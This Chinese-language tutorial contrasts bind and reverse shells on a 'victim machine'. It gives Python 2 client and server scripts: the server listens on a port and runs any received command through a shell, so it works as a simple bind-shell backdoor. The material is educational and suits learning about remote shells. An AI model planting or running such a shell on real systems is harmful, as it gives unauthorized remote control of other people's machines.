正向反向区别
正向即我们通过一系列手段在受害机开放了一个端口,这个端口等待我们连接,受害机不会主动告诉我们让我们去连接,导致我们必须要知道受害机的IP地址,实际操作会很困难。所以现在都是用反向,与正向最大区别是,受害机会通知我们,将shell返回。
示例
Python中通过连接并执行命令主要用到了socket和subprocess两个模块,以下是一个简单的示例。
Client.py
# -*- coding: utf-8 -*-
import socket
while 1:
str_msg = raw_input("Please input command:")
if str_msg == "exit":
break
else:
s2 = socket.socket()
s2.connect(("192.168.150.144", 6666))
data = s2.recv(1024)
s2.send(str_msg)
print str(s2.recv(1024))
s2.close()
Server.py
import subprocess
import socket
def run_command(command):
command = command.rstrip()
print command
try:
child = subprocess.check_output(command, shell=True)
return child
except:
child = 'Can not execute the command.\r\n'
return child
s1 = socket.socket()
s1.bind(("192.168.150.144", 6666))
s1.listen(5)
while 1:
conn,address = s1.accept()
print "a new connect from " + str(address)
conn.send("Hello world")
data = conn.recv(1024)
print "The command is " + data
output = run_command(data)
conn.send(output)
conn.close()
示例演示结果
总结
上面简单示例只接收客户端命令进行了执行,其他功能可根据需求自行添加, 也可以使用tk等集成到gui中进行学习。